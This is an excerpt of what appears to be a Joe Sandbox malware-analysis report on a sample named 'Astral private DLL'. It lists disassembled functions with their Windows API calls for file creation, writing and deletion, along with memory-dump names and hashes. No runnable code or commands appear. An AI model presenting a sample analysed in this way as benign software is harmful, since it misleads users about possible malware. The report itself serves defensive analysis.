Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,?,?,?,?,0016D343,00000001,?,?,?,00000000,0017551D,?,?,?), ref: 00169F9E
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,0017551D,?,?,?,?,?,00174FC7,?), ref: 00169FE5
WriteFile.KERNELBASE(0000001D,?,?,?,00000000,?,00000001,?,?,?,?,0016D343,00000001,?,?), ref: 0016A011

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: fa2527b7d9b658d5be18ed02ca1f4138903473da57e1ef597a8731634fb879ab
Instruction ID: 767060194b511d6edce8d19c19d19c6aeefba5f62b687b824283fc7432e9aeef
Opcode Fuzzy Hash: fa2527b7d9b658d5be18ed02ca1f4138903473da57e1ef597a8731634fb879ab
Instruction Fuzzy Hash: 72319131208305AFDB14CF20DD18B6E7BA9FF84715F054A1DF991AB290C775AD98CBA2

Function 0016A2B2 Relevance: 4.6, APIs: 3, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 0016C27E: _wcslen.LIBCMT ref: 0016C284

CreateDirectoryW.KERNELBASE(?,00000000,?,?,?,0016A175,?,00000001,00000000,?,?), ref: 0016A2D9
CreateDirectoryW.KERNEL32(?,00000000,?,?,00000800,?,?,?,?,0016A175,?,00000001,00000000,?,?), ref: 0016A30C
GetLastError.KERNEL32(?,?,?,?,0016A175,?,00000001,00000000,?,?), ref: 0016A329

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_wcslen
String ID:
API String ID: 2260680371-0
Opcode ID: f84f530e53ab76ceeeee4317760c6ef2ec387f0dba208a92c63b6450ed2c508a
Instruction ID: 17eab5e0dd1e0fa5e8497775145e941ff120cb6eb566c3d1b5a6efea1a42da0a
Opcode Fuzzy Hash: f84f530e53ab76ceeeee4317760c6ef2ec387f0dba208a92c63b6450ed2c508a
Instruction Fuzzy Hash: 1701FC351002106AEF21AF754C49BFD7398BF19781F884419F901F6191D754CAE1CEB3

Function 0018B893 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0018B8B8

Strings

, xrefs: 0018B8FD

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: b2b50703dfc8e28a129847878120b4e48a61e1f79a4ff31f35f505bb1e83b727
Instruction ID: 3e136f2fe79298d3cc577cfd46be5c34452a5d86ac618c4f15f4caf4660d10e1
Opcode Fuzzy Hash: b2b50703dfc8e28a129847878120b4e48a61e1f79a4ff31f35f505bb1e83b727
Instruction Fuzzy Hash: 8741F6B090828C9BDF259E64CCD4BF6BBADEB55308F1404EDE69A87142D335AB458F60

Function 0018AF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 0018AFDD

Strings

LCMapStringEx, xrefs: 0018AF7D, 0018AF87

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: a84e90534921bb3cae3c8cc34a25a8e16d36494585f891789426a657edbde2ae
Instruction ID: 040b7bd8dabb76b3652e8b8e536599d234a110ccedfb892f4077089b9e5bfb19
Opcode Fuzzy Hash: a84e90534921bb3cae3c8cc34a25a8e16d36494585f891789426a657edbde2ae
Instruction Fuzzy Hash: FF012532504209BBCF02AF90DC02DEE7F66EF08764F454156FE1826160CB328A71AF81

Function 0018AF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,0018A56F), ref: 0018AF55

Strings

InitializeCriticalSectionEx, xrefs: 0018AF1B, 0018AF25

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 517c8f231daf2cdf28c98582197e70b3598d8a2941ceaa7102c36bd297b99381
Instruction ID: b4c1b7fa3c085d4d327782c981de9a59aa922537f80e5c3bb1b7589b35d8fd3e
Opcode Fuzzy Hash: 517c8f231daf2cdf28c98582197e70b3598d8a2941ceaa7102c36bd297b99381
Instruction Fuzzy Hash: 6FF0B431645208BBCF166F51CC02C9E7F61EF14721B804066FD1956260DB715F109B8A

Function 0018ADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0018ADEE

Strings

FlsAlloc, xrefs: 0018ADC0, 0018ADCA

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: ae6a2926ac088fb9c3a8e8bc82953ee844b610070bb24d720b68f13f5f284d1c
Instruction ID: 3edce30508121a10c35b9a0b507d8a3717dcec9dc0a0b5abebca14a384a2ef99
Opcode Fuzzy Hash: ae6a2926ac088fb9c3a8e8bc82953ee844b610070bb24d720b68f13f5f284d1c
Instruction Fuzzy Hash: 70E0E5316452187BDA15ABA5DC0296EBB94DF14B31B4101ABF805A7290DF705F418BDA

Function 0017EAE7 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0017EAF9

Part of subcall function 0017E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0017E8D0
Part of subcall function 0017E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0017E8E1

Strings

3Ro, xrefs: 0017EAE7, 0017EAF3

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: 26b0d48b1ddfd46e4b142a424aa59f4d680262bc1b1d5fcfe69421167b374be7
Instruction ID: 603fd856ef4440424956e22f27cc28546c59a66418f9e19108b46044a51d9674
Opcode Fuzzy Hash: 26b0d48b1ddfd46e4b142a424aa59f4d680262bc1b1d5fcfe69421167b374be7
Instruction Fuzzy Hash: C8B012D76DA0427C370862001E02D3702FCC0E4F90330C06EF528D40C1DF808C010472

Function 0018BBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 0018B7BB: GetOEMCP.KERNEL32(00000000,?,?,0018BA44,?), ref: 0018B7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0018BA89,?,00000000), ref: 0018BC64
GetCPInfo.KERNEL32(00000000,0018BA89,?,?,?,0018BA89,?,00000000), ref: 0018BC77

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 1fce963b99f4335633135461c5b881349e07dc1a3f0f4b54f1a49f82b0d87373
Instruction ID: f49aa950e782b641ad8c9753f6253b934e776602dbb1027fef3c351cc2467577
Opcode Fuzzy Hash: 1fce963b99f4335633135461c5b881349e07dc1a3f0f4b54f1a49f82b0d87373
Instruction Fuzzy Hash: F2513570908245AFDB24EFB1C8D16BBBBE4EF51308F18416ED4968B251D7359B468F90

Function 00169A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00169A50,?,?,00000000,?,?,00168CBC,?), ref: 00169BAB
GetLastError.KERNEL32(?,00000000,00168411,-00009570,00000000,000007F3), ref: 00169BB6

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 819b7f25033e19c346393f78f4eeaa4fb72668adf4e773bd790498e7d88713e9
Instruction ID: d7641ac594c3fefa9006f4d94b22015b4e6c9c61d8cba382173f51f302bae5d3
Opcode Fuzzy Hash: 819b7f25033e19c346393f78f4eeaa4fb72668adf4e773bd790498e7d88713e9
Instruction Fuzzy Hash: 3041DD316043418FDB24DF29ED8486AB7EDFFE9320F158A2EE89183260D770ED558B91

Function 0018BA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 001897E5: GetLastError.KERNEL32(?,001A1030,00184674,001A1030,?,?,00183F73,00000050,?,001A1030,00000200), ref: 001897E9
Part of subcall function 001897E5: _free.LIBCMT ref: 0018981C
Part of subcall function 001897E5: SetLastError.KERNEL32(00000000,?,001A1030,00000200), ref: 0018985D
Part of subcall function 001897E5: _abort.LIBCMT ref: 00189863

Part of subcall function 0018BB4E: _abort.LIBCMT ref: 0018BB80
Part of subcall function 0018BB4E: _free.LIBCMT ref: 0018BBB4

Part of subcall function 0018B7BB: GetOEMCP.KERNEL32(00000000,?,?,0018BA44,?), ref: 0018B7E6

_free.LIBCMT ref: 0018BA9F
_free.LIBCMT ref: 0018BAD5

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: 0772bc0b0f68cba16afefe919ac6b52b6111a33d0dff9de67e3f823f5aa9f6b5
Instruction ID: c272f1b1602b7f7c79580c46b84a1e712b77145d7036dfc5240337c6b2a70ea6
Opcode Fuzzy Hash: 0772bc0b0f68cba16afefe919ac6b52b6111a33d0dff9de67e3f823f5aa9f6b5
Instruction Fuzzy Hash: 0231D731908209AFDB14FFA8D481BADB7F5EF50324F25409AE9149B2A2EB325F41DF50

Function 00161E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00161E55

Part of subcall function 00163BBA: __EH_prolog.LIBCMT ref: 00163BBF

_wcslen.LIBCMT ref: 00161EFD

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: e7a83967ec3c57160ed907c18e79fbab09f4a1cfbdef89a7e2a468db359b2c2f
Instruction ID: f4efda4aa802a78d0ce8570b005f8e1e5fbc13ca272cb81ab941c5d32595cbe0
Opcode Fuzzy Hash: e7a83967ec3c57160ed907c18e79fbab09f4a1cfbdef89a7e2a468db359b2c2f
Instruction Fuzzy Hash: 52312B71904209AFCF15DF99C945AEEBBF5AF58300F1440A9F845A7251CB329E25CB60

Function 00169DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,001673BC,?,?,?,00000000), ref: 00169DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00169E70

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: ee0ecba30b207f8866e742f4cf5523334fb5eedf55a3e5227133119d791a7bc4
Instruction ID: c1c604fc775807caa20aa955226ea394e9af1721766feb4fb6e9ff35f0a42a50
Opcode Fuzzy Hash: ee0ecba30b207f8866e742f4cf5523334fb5eedf55a3e5227133119d791a7bc4
Instruction Fuzzy Hash: 1A21E131248286EFC714CF78C891AABBBE8AF55704F08492DF8D587541D339E92DDB61

Function 0016966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00169F27,?,?,0016771A), ref: 001696E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00169F27,?,?,0016771A), ref: 00169716

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 84cabc68ef95e45dea998823cb27749fc4a833d28c3bb16e69d3ee822891306a
Instruction ID: 8cd91ec41ff3ddd3814dac7d13fc020ef6d1be844011b470bdb6a2b981f482f9
Opcode Fuzzy Hash: 84cabc68ef95e45dea998823cb27749fc4a833d28c3bb16e69d3ee822891306a
Instruction Fuzzy Hash: 5621DEB1504344AFE3308A65CC89FF7B7ECEB59324F144A19FAD6C25D1C7B8A8849A71

Function 00169E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00169EC7
GetLastError.KERNEL32 ref: 00169ED4

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: ad964541078468fb0ca6b2b5fe7758f0337624a03e1b077d163180053b5772d7
Instruction ID: 5add6519bdeec184ff7142cbfc34d533206228378d8f50e5b3dda2701bc45716
Opcode Fuzzy Hash: ad964541078468fb0ca6b2b5fe7758f0337624a03e1b077d163180053b5772d7
Instruction Fuzzy Hash: 69110430600700ABD738C628CC80BB6B7EDAB45370F604A2AF563D2AD0D772ED99C760

Function 00188E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00188E75

Part of subcall function 00188E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0018CA2C,00000000,?,00186CBE,?,00000008,?,001891E0,?,?,?), ref: 00188E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,001A1098,001617CE,?,?,00000007,?,?,?,001613D6,?,00000000), ref: 00188EB1

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 0139a5f23b66084a0888165dc3d72b84aee1656fda314303d5ae02e886686b07
Instruction ID: 7e1f90a9d4e3ebd700483f8a52d4e999139dfec41a749fb6081cfcaeda45317e
Opcode Fuzzy Hash: 0139a5f23b66084a0888165dc3d72b84aee1656fda314303d5ae02e886686b07
Instruction Fuzzy Hash: 81F0F63221111266CB257A65AC05F6F37588FA1B70FE90126F814A6191DF70DF008FA0

Function 0017109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 001710AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 001710B2

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 41b69af1bf3b27ce475faeb530665a0ec1c11c7461dc26cbb6b1c3e697a61602
Instruction ID: 986f93b5a31d163c206d22dd9ba169debd360e7cf1fef06a8452a3c9d56b47ae
Opcode Fuzzy Hash: 41b69af1bf3b27ce475faeb530665a0ec1c11c7461dc26cbb6b1c3e697a61602
Instruction Fuzzy Hash: 15E09232B00245BB8F198BA89C158EB72EDEA442043148176F417D3501FA30DE814660

Function 0016A4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0016A325,?,?,?,0016A175,?,00000001,00000000,?,?), ref: 0016A501

Part of subcall function 0016BB03: _wcslen.LIBCMT ref: 0016BB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0016A325,?,?,?,0016A175,?,00000001,00000000,?,?), ref: 0016A532

Memory Dump Source

Source File: 00000001.00000002.1759111998.0000000000161000.00000020.00000001.01000000.00000005.sdmp, Offset: 00160000, based on PE: true

Associated: 00000001.00000002.1759049408.0000000000160000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759147036.0000000000193000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.000000000019E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001A5000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759170784.00000000001C2000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.1759277629.00000000001C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_160000_Astral private DLL.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 09b1c7589107b49e706a5bc76b3b65200cbb4ef26e4947f69b9d704af87249b3
Instruction ID: e3e7e227599ecc2281cc1c529650424a97197032dd4362f74f32f67ad10221cc
Opcode Fuzzy Hash: 09b1c7589107b49e706a5bc76b3b65200cbb4ef26e4947f69b9d704af87249b3
Instruction Fuzzy Hash: 60F065312401097BDF015F61DC45FDA37ACAF14385F488051B949E5160EB71DEE4DF50

Function 0016A1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,0016977F,?,?,001695CF,?,?,?,?,?,00192641,000000FF), ref: 0016A1F1

Part of subcall function 0016BB03: _wcslen.LIBCMT ref: 0016BB27

